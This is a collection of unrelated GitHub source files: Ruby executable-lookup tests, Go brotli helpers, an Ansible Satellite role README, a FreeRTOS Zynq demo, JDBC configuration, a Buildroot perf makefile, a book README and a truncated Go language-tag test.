with_env('PATH' => "#{__dir__}/fixtures/bin:#{ENV['PATH']}", 'TM_SAMPLE' => 'sample-executable with options') do
assert_equal %w(sample-executable with options), Executable.find('sample')
end
end
def test_use_env_var_with_missing_executable
with_env('TM_NONEXISTING_EXECUTABLE' => 'nonexisting-executable') do
assert_raises(Executable::NotFound){ Executable.find('nonexisting-executable', 'TM_NONEXISTING_EXECUTABLE') }
end
end
def test_find_binstub
assert_equal %w(bin/rspec), Executable.find('rspec')
end
def test_find_binstub_with_rvm
with_rvm_installed do
assert_equal %W(#{@rvm_prefix} bin/rspec), Executable.find('rspec')
end
end
def test_find_in_gemfile
Dir.chdir("#{__dir__}/fixtures/sample_project_with_gemfile")
assert_equal %w(bundle exec rubocop), Executable.find('rubocop')
end
def test_find_in_gemfile_with_rvm
Dir.chdir("#{__dir__}/fixtures/sample_project_with_gemfile")
with_rvm_installed do
assert_equal %W(#{@rvm_prefix} bundle exec rubocop), Executable.find('rubocop')
end
end
def test_find_in_path
# Of course `ls` is not a Ruby executable, but for this test it makes no difference
assert_equal %w(ls), Executable.find('ls')
end
def test_find_in_path_with_rvm
with_rvm_installed do
# Of course `ls` is not a Ruby executable, but for this test it makes no difference
assert_equal %W(#{@rvm_prefix} ls), Executable.find('ls')
end
end
def test_missing_executable
assert_raises(Executable::NotFound){ Executable.find('nonexisting-executable') }
end
def test_missing_executable_with_rvm
with_rvm_installed do
assert_raises(Executable::NotFound){ Executable.find('nonexisting-executable') }
end
end
def test_missing_executable_with_rbenv_and_shim
# Setup an environment where our fake implementation of `rbenv` is in the
# path, as well as our fake shim (`rbenv_installed_shim`). Note that the
# fake implentation of `rbenv` will return an “not found” error if run
# as `rbenv which rbenv_installed_shim`
with_env('PATH' => "#{__dir__}/fixtures/fake_rbenv:#{__dir__}/fixtures/fake_rbenv/shims:#{ENV['PATH']}") do
assert_equal "#{__dir__}/fixtures/fake_rbenv/rbenv", `which rbenv`.chomp
assert system('which -s rbenv_installed_shim')
# Now for the actual test
assert_raises(Executable::NotFound){ Executable.find('rbenv_installed_shim') }
end
end
def test_find_precedence
# Make sure we start with a directory with no Gemfile or binstubs, and also with no environment variable.
Dir.mktmpdir do |dir|
Dir.chdir(dir)
# Using search path has lowest precedence
with_env('PATH' => "#{__dir__}/fixtures/bin:#{ENV['PATH']}") do
assert_equal %w(rspec), Executable.find('rspec')
# Using a Gemfile comes next
FileUtils.cp(Dir.glob("#{__dir__}/fixtures/sample_project_with_gemfile/Gemfile*"), dir)
assert_equal %w(bundle exec rspec), Executable.find('rspec')
# Using a binstub has an even higher precedence
FileUtils.cp_r("#{__dir__}/fixtures/sample_project/bin", dir)
assert_equal %w(bin/rspec), Executable.find('rspec')
# Finally, using an environment variable has highest precedence
with_env('TM_RSPEC' => 'ls') do
assert_equal %w(ls), Executable.find('rspec')
end
end
end
end
end
|
{
"pile_set_name": "Github"
}
|
package brotli
/* Copyright 2016 Google Inc. All Rights Reserved.
Distributed under MIT license.
See file LICENSE for detail or copy at https://opensource.org/licenses/MIT
*/
/*
Dynamically grows array capacity to at least the requested size
T: data type
A: array
C: capacity
R: requested size
*/
func brotli_ensure_capacity_uint8_t(a *[]byte, c *uint, r uint) {
if *c < r {
var new_size uint = *c
if new_size == 0 {
new_size = r
}
for new_size < r {
new_size *= 2
}
var new_array []byte = make([]byte, new_size)
if *c != 0 {
copy(new_array, (*a)[:*c])
}
*a = new_array
*c = new_size
}
}
func brotli_ensure_capacity_uint32_t(a *[]uint32, c *uint, r uint) {
var new_array []uint32
if *c < r {
var new_size uint = *c
if new_size == 0 {
new_size = r
}
for new_size < r {
new_size *= 2
}
new_array = make([]uint32, new_size)
if *c != 0 {
copy(new_array, (*a)[:*c])
}
*a = new_array
*c = new_size
}
}
|
{
"pile_set_name": "Github"
}
|
{
"network": [
[
"probeNetwork - default - end",
4,
570207
],
[
"probeNetwork - default - start",
0,
0
]
],
"gfx": [
[
"probeGFX - default - end",
4,
10,
5,
1,
[
2129984,
2129984
],
[
22,
22
],
[
64,
64
]
]
]
}
|
{
"pile_set_name": "Github"
}
|
:role: satellite-installation
:author: GPTE Team
:tag1: install_satellite
:tag2: install_firewalld
:tag3: public_hostname
:tag4: update_satellite_host
:tag5: setup_satellite
:main_file: tasks/main.yml
:version_file: tasks/version_6.4.yml
Role: {role}
============
This role installs and configure satellite and setup firewalld.
Requirements
------------
. Basic repository should be configure to install packages.
Role Variables
--------------
|===
|satellite_version: "Digit" |Required |satellite version
|satellite_admin: "String" |Required |Satellite admin username
|satellite_admin_password: "String" |Required |Satellite admin password
|firewall_services: [List] |Not-Required |List of services to enable, Default value are in defaults/main.yml
|firewall_ports: [List] |Not-Required |List of ports to enable, Default value are in defaults/main.yml
|===
* Example variables
[source=text]
----
satellite_version: 6.4
satellite_admin: admin
satellite_admin_password: password
firewall_services:
- ssh
- RH-Satellite-6
firewall_ports:
- 22/tcp
- 80/tcp
- 443/tcp
----
Tags
---
|===
|{tag1} |Consistent tag for all satellite install tasks
|{tag2} |For firewall tasks
|{tag3} |For hostname setup tasks
|{tag4} |For host update tasks
|{tag5} |For satellite setup tasks
|===
* Example tags
[source=text]
----
## Tagged jobs
ansible-playbook playbook.yml --tags install_satellite
## Skip tagged jobs
ansible-playbook playbook.yml --skip-tags install_satellite
----
Example Playbook
----------------
How to use your role (for instance, with variables passed in playbook).
[source=text]
----
[user@desktop ~]$ cat sample_vars.yml
satellite_version: 6.4
firewall_services:
- ssh
- RH-Satellite-6
firewall_ports:
- 22/tcp
- 80/tcp
- 443/tcp
[user@desktop ~]$ cat playbook.yml
- hosts: satellite.example.com
vars_files:
- sample_vars.yml
roles:
- satellite-public-hostname
- satellite-install
[user@desktop ~]$ ansible-playbook playbook.yml -e 'satellite_admin: admin' -e 'satellite_admin_password: password'
----
Dependencies
------------
Role has dependency of role satellite-public-hostname.
Tips to update Role
------------------
To extend role works for other version, create new file named version_{{satellite_version}}.yml and import newly created file in main.yml
for reference look at link:{main_file}[main.yml] and link:{version_file}[version_6.4.yml]
Author Information
------------------
{author}
|
{
"pile_set_name": "Github"
}
|
/*
* FreeRTOS Kernel V10.1.0
* Copyright (C) 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* http://www.FreeRTOS.org
* http://aws.amazon.com/freertos
*
* 1 tab == 4 spaces!
*/
/******************************************************************************
* NOTE 1: This project provides three demo applications. A simple blinky
* style project, a more comprehensive test and demo application, and an
* lwIP example. The mainSELECTED_APPLICATION setting in main.c is used to
* select between the three. See the notes on using mainSELECTED_APPLICATION
* in main.c. This file implements the comprehensive version.
*
* NOTE 2: This file only contains the source code that is specific to the
* full demo. Generic functions, such FreeRTOS hook functions, and functions
* required to configure the hardware, are defined in main.c.
*
* NOTE 3: The full demo includes a test that checks the floating point context
* is maintained correctly across task switches. The standard GCC libraries can
* use floating point registers and made this test fail (unless the tasks that
* use the library are given a floating point context as described on the
* documentation page for this demo). printf-stdarg.c is included in this
* project to prevent the standard GCC libraries being linked into the project.
*
******************************************************************************
*
* main_full() creates all the demo application tasks and software timers, then
* starts the scheduler. The web documentation provides more details of the
* standard demo application tasks, which provide no particular functionality,
* but do provide a good example of how to use the FreeRTOS API.
*
* In addition to the standard demo tasks, the following tasks and tests are
* defined and/or created within this file:
*
* FreeRTOS+CLI command console. The command console is access through the
* UART to USB connector on the ZC702 Zynq development board (marked J2). For
* reasons of robustness testing the UART driver is deliberately written to be
* inefficient and should not be used as a template for a production driver.
* Type "help" to see a list of registered commands. The FreeRTOS+CLI license
* is different to the FreeRTOS license, see http://www.FreeRTOS.org/cli for
* license and usage details. The default baud rate is 115200.
*
* "Reg test" tasks - These fill both the core and floating point registers with
* known values, then check that each register maintains its expected value for
* the lifetime of the task. Each task uses a different set of values. The reg
* test tasks execute with a very low priority, so get preempted very
* frequently. A register containing an unexpected value is indicative of an
* error in the context switching mechanism.
*
* "Check" task - The check task period is initially set to three seconds. The
* task checks that all the standard demo tasks, and the register check tasks,
* are not only still executing, but are executing without reporting any errors.
* If the check task discovers that a task has either stalled, or reported an
* error, then it changes its own execution period from the initial three
* seconds, to just 200ms. The check task also toggles an LED each time it is
* called. This provides a visual indication of the system status: If the LED
* toggles every three seconds, then no issues have been discovered. If the LED
* toggles every 200ms, then an issue has been discovered with at least one
* task.
*/
/* Standard includes. */
#include <stdio.h>
/* Kernel includes. */
#include "FreeRTOS.h"
#include "task.h"
#include "timers.h"
#include "semphr.h"
/* Standard demo application includes. */
#include "flop.h"
#include "semtest.h"
#include "dynamic.h"
#include "BlockQ.h"
#include "blocktim.h"
#include "countsem.h"
#include "GenQTest.h"
#include "recmutex.h"
#include "death.h"
#include "partest.h"
#include "comtest2.h"
#include "serial.h"
#include "TimerDemo.h"
#include "QueueOverwrite.h"
#include "IntQueue.h"
#include "EventGroupsDemo.h"
#include "TaskNotify.h"
#include "IntSemTest.h"
#include "StaticAllocation.h"
#include "AbortDelay.h"
#include "MessageBufferDemo.h"
#include "StreamBufferDemo.h"
#include "StreamBufferInterrupt.h"
#include "MessageBufferAMP.h"
/* Priorities for the demo application tasks. */
#define mainSEM_TEST_PRIORITY ( tskIDLE_PRIORITY + 1UL )
#define mainBLOCK_Q_PRIORITY ( tskIDLE_PRIORITY + 2UL )
#define mainCREATOR_TASK_PRIORITY ( tskIDLE_PRIORITY + 3UL )
#define mainFLOP_TASK_PRIORITY ( tskIDLE_PRIORITY )
#define mainUART_COMMAND_CONSOLE_STACK_SIZE ( configMINIMAL_STACK_SIZE * 3UL )
#define mainCOM_TEST_TASK_PRIORITY ( tskIDLE_PRIORITY + 2 )
#define mainCHECK_TASK_PRIORITY ( configMAX_PRIORITIES - 1 )
#define mainQUEUE_OVERWRITE_PRIORITY ( tskIDLE_PRIORITY )
/* The priority used by the UART command console task. */
#define mainUART_COMMAND_CONSOLE_TASK_PRIORITY ( configMAX_PRIORITIES - 2 )
/* The LED used by the check timer. */
#define mainCHECK_LED ( 0 )
/* A block time of zero simply means "don't block". */
#define mainDONT_BLOCK ( 0UL )
/* The period after which the check timer will expire, in ms, provided no errors
have been reported by any of the standard demo tasks. ms are converted to the
equivalent in ticks using the portTICK_PERIOD_MS constant. */
#define mainNO_ERROR_CHECK_TASK_PERIOD ( 3000UL / portTICK_PERIOD_MS )
/* The period at which the check timer will expire, in ms, if an error has been
reported in one of the standard demo tasks. ms are converted to the equivalent
in ticks using the portTICK_PERIOD_MS constant. */
#define mainERROR_CHECK_TASK_PERIOD ( 200UL / portTICK_PERIOD_MS )
/* Parameters that are passed into the register check tasks solely for the
purpose of ensuring parameters are passed into tasks correctly. */
#define mainREG_TEST_TASK_1_PARAMETER ( ( void * ) 0x12345678 )
#define mainREG_TEST_TASK_2_PARAMETER ( ( void * ) 0x87654321 )
/* The base period used by the timer test tasks. */
#define mainTIMER_TEST_PERIOD ( 50 )
/* Base stack size of tasks created in the message buffer demos. */
#define mainMESSAGE_BUFFER_STACK_SIZE ( configMINIMAL_STACK_SIZE * 2 )
/*-----------------------------------------------------------*/
/*
* The check task, as described at the top of this file.
*/
static void prvCheckTask( void *pvParameters );
/*
* Register check tasks, and the tasks used to write over and check the contents
* of the FPU registers, as described at the top of this file. The nature of
* these files necessitates that they are written in an assembly file, but the
* entry points are kept in the C file for the convenience of checking the task
* parameter.
*/
static void prvRegTestTaskEntry1( void *pvParameters );
extern void vRegTest1Implementation( void );
static void prvRegTestTaskEntry2( void *pvParameters );
extern void vRegTest2Implementation( void );
/*
* Register commands that can be used with FreeRTOS+CLI. The commands are
* defined in CLI-Commands.c and File-Related-CLI-Command.c respectively.
*/
extern void vRegisterSampleCLICommands( void );
/*
* The task that manages the FreeRTOS+CLI input and output.
*/
extern void vUARTCommandConsoleStart( uint16_t usStackSize, UBaseType_t uxPriority );
/*
* A high priority task that does nothing other than execute at a pseudo random
* time to ensure the other test tasks don't just execute in a repeating
* pattern.
*/
static void prvPseudoRandomiser( void *pvParameters );
/*-----------------------------------------------------------*/
/* The following two variables are used to communicate the status of the
register check tasks to the check task. If the variables keep incrementing,
then the register check tasks have not discovered any errors. If a variable
stops incrementing, then an error has been found. */
volatile unsigned long ulRegTest1LoopCounter = 0UL, ulRegTest2LoopCounter = 0UL;
/* String for display in the web server. It is set to an error message if the
check task detects an error. */
char *pcStatusMessage = "All tasks running without error";
/*-----------------------------------------------------------*/
void main_full( void )
{
/* Start all the other standard demo/test tasks. They have no particular
functionality, but do demonstrate how to use the FreeRTOS API and test the
kernel port. */
vStartInterruptQueueTasks();
vStartDynamicPriorityTasks();
vStartBlockingQueueTasks( mainBLOCK_Q_PRIORITY );
vCreateBlockTimeTasks();
vStartCountingSemaphoreTasks();
vStartGenericQueueTasks( tskIDLE_PRIORITY );
vStartRecursiveMutexTasks();
vStartSemaphoreTasks( mainSEM_TEST_PRIORITY );
vStartMathTasks( mainFLOP_TASK_PRIORITY );
vStartTimerDemoTask( mainTIMER_TEST_PERIOD );
vStartQueueOverwriteTask( mainQUEUE_OVERWRITE_PRIORITY );
vStartEventGroupTasks();
vStartTaskNotifyTask();
vStartInterruptSemaphoreTasks();
vStartStaticallyAllocatedTasks();
vCreateAbortDelayTasks();
vStartMessageBufferTasks( mainMESSAGE_BUFFER_STACK_SIZE );
vStartStreamBufferTasks();
vStartStreamBufferInterruptDemo();
vStartMessageBufferAMPTasks( mainMESSAGE_BUFFER_STACK_SIZE );
/* Start the tasks that implements the command console on the UART, as
described above. */
vUARTCommandConsoleStart( mainUART_COMMAND_CONSOLE_STACK_SIZE, mainUART_COMMAND_CONSOLE_TASK_PRIORITY );
/* Register the standard CLI commands. */
vRegisterSampleCLICommands();
/* Create the register check tasks, as described at the top of this file */
xTaskCreate( prvRegTestTaskEntry1, "Reg1", configMINIMAL_STACK_SIZE, mainREG_TEST_TASK_1_PARAMETER, tskIDLE_PRIORITY, NULL );
xTaskCreate( prvRegTestTaskEntry2, "Reg2", configMINIMAL_STACK_SIZE, mainREG_TEST_TASK_2_PARAMETER, tskIDLE_PRIORITY, NULL );
/* Create the task that just adds a little random behaviour. */
xTaskCreate( prvPseudoRandomiser, "Rnd", configMINIMAL_STACK_SIZE, NULL, configMAX_PRIORITIES - 1, NULL );
/* Create the task that performs the 'check' functionality, as described at
the top of this file. */
xTaskCreate( prvCheckTask, "Check", configMINIMAL_STACK_SIZE, NULL, mainCHECK_TASK_PRIORITY, NULL );
/* The set of tasks created by the following function call have to be
created last as they keep account of the number of tasks they expect to see
running. */
vCreateSuicidalTasks( mainCREATOR_TASK_PRIORITY );
/* Start the scheduler. */
vTaskStartScheduler();
/* If all is well, the scheduler will now be running, and the following
line will never be reached. If the following line does execute, then
there was either insufficient FreeRTOS heap memory available for the idle
and/or timer tasks to be created, or vTaskStartScheduler() was called from
User mode. See the memory management section on the FreeRTOS web site for
more details on the FreeRTOS heap http://www.freertos.org/a00111.html. The
mode from which main() is called is set in the C start up code and must be
a privileged mode (not user mode). */
for( ;; );
}
/*-----------------------------------------------------------*/
static void prvCheckTask( void *pvParameters )
{
TickType_t xDelayPeriod = mainNO_ERROR_CHECK_TASK_PERIOD;
TickType_t xLastExecutionTime;
static unsigned long ulLastRegTest1Value = 0, ulLastRegTest2Value = 0;
unsigned long ulErrorFound = pdFALSE;
/* Just to stop compiler warnings. */
( void ) pvParameters;
/* Initialise xLastExecutionTime so the first call to vTaskDelayUntil()
works correctly. */
xLastExecutionTime = xTaskGetTickCount();
/* Cycle for ever, delaying then checking all the other tasks are still
operating without error. The onboard LED is toggled on each iteration.
If an error is detected then the delay period is decreased from
mainNO_ERROR_CHECK_TASK_PERIOD to mainERROR_CHECK_TASK_PERIOD. This has the
effect of increasing the rate at which the onboard LED toggles, and in so
doing gives visual feedback of the system status. */
for( ;; )
{
/* Delay until it is time to execute again. */
vTaskDelayUntil( &xLastExecutionTime, xDelayPeriod );
/* Check all the demo tasks (other than the flash tasks) to ensure
that they are all still running, and that none have detected an error. */
if( xAreIntQueueTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 0UL;
}
if( xAreMathsTaskStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 1UL;
}
if( xAreDynamicPriorityTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 2UL;
}
if( xAreBlockingQueuesStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 3UL;
}
if ( xAreBlockTimeTestTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 4UL;
}
if ( xAreGenericQueueTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 5UL;
}
if ( xAreRecursiveMutexTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 6UL;
}
if( xIsCreateTaskStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 7UL;
}
if( xAreSemaphoreTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 8UL;
}
if( xAreTimerDemoTasksStillRunning( ( TickType_t ) mainNO_ERROR_CHECK_TASK_PERIOD ) != pdPASS )
{
ulErrorFound |= 1UL << 9UL;
}
if( xAreCountingSemaphoreTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 10UL;
}
if( xIsQueueOverwriteTaskStillRunning() != pdPASS )
{
ulErrorFound |= 1UL << 11UL;
}
if( xAreEventGroupTasksStillRunning() != pdPASS )
{
ulErrorFound |= 1UL << 12UL;
}
if( xAreTaskNotificationTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 13UL;
}
if( xAreInterruptSemaphoreTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 14UL;
}
if( xAreStaticAllocationTasksStillRunning() != pdPASS )
{
ulErrorFound |= 1UL << 15UL;
}
if( xAreAbortDelayTestTasksStillRunning() != pdPASS )
{
ulErrorFound |= 1UL << 16UL;
}
if( xAreStreamBufferTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 17UL;
}
if( xAreMessageBufferTasksStillRunning() != pdTRUE )
{
ulErrorFound |= 1UL << 18UL;
}
if( xIsInterruptStreamBufferDemoStillRunning() != pdPASS )
{
ulErrorFound |= 1UL << 19UL;
}
if( xAreMessageBufferAMPTasksStillRunning() != pdPASS )
{
ulErrorFound |= 1UL << 20UL;
}
/* Check that the register test 1 task is still running. */
if( ulLastRegTest1Value == ulRegTest1LoopCounter )
{
ulErrorFound |= 1UL << 21UL;
}
ulLastRegTest1Value = ulRegTest1LoopCounter;
/* Check that the register test 2 task is still running. */
if( ulLastRegTest2Value == ulRegTest2LoopCounter )
{
ulErrorFound |= 1UL << 22UL;
}
ulLastRegTest2Value = ulRegTest2LoopCounter;
/* Toggle the check LED to give an indication of the system status. If
the LED toggles every mainNO_ERROR_CHECK_TASK_PERIOD milliseconds then
everything is ok. A faster toggle indicates an error. */
vParTestToggleLED( mainCHECK_LED );
if( ulErrorFound != pdFALSE )
{
/* An error has been detected in one of the tasks - flash the LED
at a higher frequency to give visible feedback that something has
gone wrong (it might just be that the loop back connector required
by the comtest tasks has not been fitted). */
xDelayPeriod = mainERROR_CHECK_TASK_PERIOD;
pcStatusMessage = "Error found in at least one task.";
}
}
}
/*-----------------------------------------------------------*/
char *pcMainGetTaskStatusMessage( void )
{
return pcStatusMessage;
}
/*-----------------------------------------------------------*/
static void prvRegTestTaskEntry1( void *pvParameters )
{
/* Although the regtest task is written in assembler, its entry point is
written in C for convenience of checking the task parameter is being passed
in correctly. */
if( pvParameters == mainREG_TEST_TASK_1_PARAMETER )
{
/* The reg test task also tests the floating point registers. Tasks
that use the floating point unit must call vPortTaskUsesFPU() before
any floating point instructions are executed. */
vPortTaskUsesFPU();
/* Start the part of the test that is written in assembler. */
vRegTest1Implementation();
}
/* The following line will only execute if the task parameter is found to
be incorrect. The check timer will detect that the regtest loop counter is
not being incremented and flag an error. */
vTaskDelete( NULL );
}
/*-----------------------------------------------------------*/
static void prvRegTestTaskEntry2( void *pvParameters )
{
/* Although the regtest task is written in assembler, its entry point is
written in C for convenience of checking the task parameter is being passed
in correctly. */
if( pvParameters == mainREG_TEST_TASK_2_PARAMETER )
{
/* The reg test task also tests the floating point registers. Tasks
that use the floating point unit must call vPortTaskUsesFPU() before
any floating point instructions are executed. */
vPortTaskUsesFPU();
/* Start the part of the test that is written in assembler. */
vRegTest2Implementation();
}
/* The following line will only execute if the task parameter is found to
be incorrect. The check timer will detect that the regtest loop counter is
not being incremented and flag an error. */
vTaskDelete( NULL );
}
/*-----------------------------------------------------------*/
static void prvPseudoRandomiser( void *pvParameters )
{
const uint32_t ulMultiplier = 0x015a4e35UL, ulIncrement = 1UL, ulMinDelay = ( 35 / portTICK_PERIOD_MS );
volatile uint32_t ulNextRand = ( uint32_t ) &pvParameters, ulValue;
/* This task does nothing other than ensure there is a little bit of
disruption in the scheduling pattern of the other tasks. Normally this is
done by generating interrupts at pseudo random times. */
for( ;; )
{
ulNextRand = ( ulMultiplier * ulNextRand ) + ulIncrement;
ulValue = ( ulNextRand >> 16UL ) & 0xffUL;
if( ulValue < ulMinDelay )
{
ulValue = ulMinDelay;
}
vTaskDelay( ulValue );
while( ulValue > 0 )
{
__asm volatile( "NOP" );
__asm volatile( "NOP" );
__asm volatile( "NOP" );
__asm volatile( "NOP" );
ulValue--;
}
}
}
|
{
"pile_set_name": "Github"
}
|
development.driver=com.mysql.jdbc.Driver
development.username=root
development.password=p@ssw0rd
development.url=jdbc:mysql://localhost/activejdbc
test.driver=com.mysql.jdbc.Driver
test.username=mary
test.password=pwd1
test.url=jdbc:mysql://localhost/test
production.jndi=java:comp/env/jdbc/prod
|
{
"pile_set_name": "Github"
}
|
################################################################################
#
# perf
#
################################################################################
LINUX_TOOLS += perf
PERF_DEPENDENCIES = host-flex host-bison
ifeq ($(KERNEL_ARCH),x86_64)
PERF_ARCH=x86
else
PERF_ARCH=$(KERNEL_ARCH)
endif
PERF_MAKE_FLAGS = \
$(LINUX_MAKE_FLAGS) \
JOBS=$(PARALLEL_JOBS) \
ARCH=$(PERF_ARCH) \
DESTDIR=$(TARGET_DIR) \
prefix=/usr \
WERROR=0 \
NO_LIBAUDIT=1 \
NO_GTK2=1 \
NO_LIBPERL=1 \
NO_LIBPYTHON=1 \
NO_LIBBIONIC=1
# We need to pass an argument to ld for setting the emulation when
# building for MIPS architecture, otherwise the default one will always
# be used and the compilation for most variants will fail.
ifeq ($(BR2_mips),y)
PERF_MAKE_FLAGS += LD="$(TARGET_LD) -m elf32btsmip"
else ifeq ($(BR2_mipsel),y)
PERF_MAKE_FLAGS += LD="$(TARGET_LD) -m elf32ltsmip"
else ifeq ($(BR2_mips64),y)
ifeq ($(BR2_MIPS_NABI32),y)
PERF_MAKE_FLAGS += LD="$(TARGET_LD) -m elf32btsmipn32"
else
PERF_MAKE_FLAGS += LD="$(TARGET_LD) -m elf64btsmip"
endif
else ifeq ($(BR2_mips64el),y)
ifeq ($(BR2_MIPS_NABI32),y)
PERF_MAKE_FLAGS += LD="$(TARGET_LD) -m elf32ltsmipn32"
else
PERF_MAKE_FLAGS += LD="$(TARGET_LD) -m elf64ltsmip"
endif
endif
# The call to backtrace() function fails for ARC, because for some
# reason the unwinder from libgcc returns early. Thus the usage of
# backtrace() should be disabled in perf explicitly: at build time
# backtrace() appears to be available, but it fails at runtime: the
# backtrace will contain only several functions from the top of stack,
# instead of the complete backtrace.
ifeq ($(BR2_arc),y)
PERF_MAKE_FLAGS += NO_BACKTRACE=1
endif
ifeq ($(BR2_PACKAGE_LINUX_TOOLS_PERF_TUI),y)
PERF_DEPENDENCIES += slang
else
PERF_MAKE_FLAGS += NO_NEWT=1 NO_SLANG=1
endif
ifeq ($(BR2_PACKAGE_LIBUNWIND),y)
PERF_DEPENDENCIES += libunwind
else
PERF_MAKE_FLAGS += NO_LIBUNWIND=1
endif
ifeq ($(BR2_PACKAGE_NUMACTL),y)
PERF_DEPENDENCIES += numactl
else
PERF_MAKE_FLAGS += NO_LIBNUMA=1
endif
ifeq ($(BR2_PACKAGE_ELFUTILS),y)
PERF_DEPENDENCIES += elfutils
else
PERF_MAKE_FLAGS += NO_LIBELF=1 NO_DWARF=1
endif
ifeq ($(BR2_PACKAGE_BINUTILS),y)
PERF_DEPENDENCIES += binutils
else
PERF_MAKE_FLAGS += NO_DEMANGLE=1
endif
ifeq ($(BR2_PACKAGE_OPENSSL),y)
PERF_DEPENDENCIES += openssl
else
PERF_MAKE_FLAGS += NO_LIBCRYPTO=1
endif
ifeq ($(BR2_PACKAGE_ZLIB),y)
PERF_DEPENDENCIES += zlib
else
PERF_MAKE_FLAGS += NO_ZLIB=1
endif
# lzma is provided by xz
ifeq ($(BR2_PACKAGE_XZ),y)
PERF_DEPENDENCIES += xz
else
PERF_MAKE_FLAGS += NO_LZMA=1
endif
# We really do not want to build the perf documentation, because it
# has stringent requirement on the documentation generation tools,
# like xmlto and asciidoc), which may be lagging behind on some
# distributions.
# We name it 'GNUmakefile' so that GNU make will use it instead of
# the existing 'Makefile'.
define PERF_DISABLE_DOCUMENTATION
if [ -f $(LINUX_DIR)/tools/perf/Documentation/Makefile ]; then \
printf "%%:\n\t@:\n" >$(LINUX_DIR)/tools/perf/Documentation/GNUmakefile; \
fi
endef
LINUX_POST_PATCH_HOOKS += PERF_DISABLE_DOCUMENTATION
# O must be redefined here to overwrite the one used by Buildroot for
# out of tree build. We build perf in $(LINUX_DIR)/tools/perf/ and not just
# $(LINUX_DIR) so that it isn't built in the root directory of the kernel
# sources.
define PERF_BUILD_CMDS
$(Q)if test ! -f $(LINUX_DIR)/tools/perf/Makefile ; then \
echo "Your kernel version is too old and does not have the perf tool." ; \
echo "At least kernel 2.6.31 must be used." ; \
exit 1 ; \
fi
$(Q)if test "$(BR2_PACKAGE_ELFUTILS)" = "" ; then \
if ! grep -q NO_LIBELF $(LINUX_DIR)/tools/perf/Makefile* ; then \
if ! test -r $(LINUX_DIR)/tools/perf/config/Makefile ; then \
echo "The perf tool in your kernel cannot be built without libelf." ; \
echo "Either upgrade your kernel to >= 3.7, or enable the elfutils package." ; \
exit 1 ; \
fi \
fi \
fi
$(Q)if test "$(BR2_PACKAGE_LINUX_TOOLS_PERF_TUI)" = "y" ; then \
if ! grep -q NO_SLANG $(LINUX_DIR)/tools/perf/Makefile* ; then \
echo "The perf tool in your kernel cannot be build with the TUI." ; \
echo "Either upgrade your kernel to >= 3.10, or disable the TUI." ; \
exit 1 ; \
fi \
fi
$(TARGET_MAKE_ENV) $(MAKE1) $(PERF_MAKE_FLAGS) \
-C $(LINUX_DIR)/tools/perf O=$(LINUX_DIR)/tools/perf/
endef
# After installation, we remove the Perl and Python scripts from the
# target.
define PERF_INSTALL_TARGET_CMDS
$(TARGET_MAKE_ENV) $(MAKE1) $(PERF_MAKE_FLAGS) \
-C $(LINUX_DIR)/tools/perf O=$(LINUX_DIR)/tools/perf/ install
$(RM) -rf $(TARGET_DIR)/usr/libexec/perf-core/scripts/
$(RM) -rf $(TARGET_DIR)/usr/libexec/perf-core/tests/
endef
|
{
"pile_set_name": "Github"
}
|
# 深度学习:Python 教程 (Deep Learning With Python)
## Deep Learning With Python: Develop Deep Learning Models on Theano and TensorFlow Using Keras
## 使用 Keras、Python、Theano 和 TensorFlow 开发深度学习模型
原书网站: https://machinelearningmastery.com/deep-learning-with-python/
作者:Jason Brownlee
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package language
import (
"testing"
"golang.org/x/text/internal/tag"
)
func b(s string) []byte {
return []byte(s)
}
func TestLangID(t *testing.T) {
tests := []struct {
id, bcp47, iso3, norm string
err error
}{
{id: "", bcp47: "und", iso3: "und", err: errSyntax},
{id: " ", bcp47: "und", iso3: "und", err: errSyntax},
{id: " ", bcp47: "und", iso3: "und", err: errSyntax},
{id: " ", bcp47: "und", iso3: "und", err: errSyntax},
{id: "xxx", bcp47: "und", iso3: "und", err: mkErrInvalid([]byte("xxx"))},
{id: "und", bcp47: "und", iso3: "und"},
{id: "aju", bcp47: "aju", iso3: "aju", norm: "jrb"},
{id: "jrb", bcp47: "jrb", iso3: "jrb"},
{id: "es", bcp47: "es", iso3: "spa"},
{id: "spa", bcp47: "es", iso3: "spa"},
{id: "ji", bcp47: "ji", iso3: "yid-", norm: "yi"},
{id: "jw", bcp47: "jw", iso3: "jav-", norm: "jv"},
{id: "ar", bcp47: "ar", iso3: "ara"},
{id: "kw", bcp47: "kw", iso3: "cor"},
{id: "arb", bcp47: "arb", iso3: "arb", norm: "ar"},
{id: "ar", bcp47: "ar", iso3: "ara"},
{id: "kur", bcp47: "ku", iso3: "kur"},
{id: "nl", bcp47: "nl", iso3: "nld"},
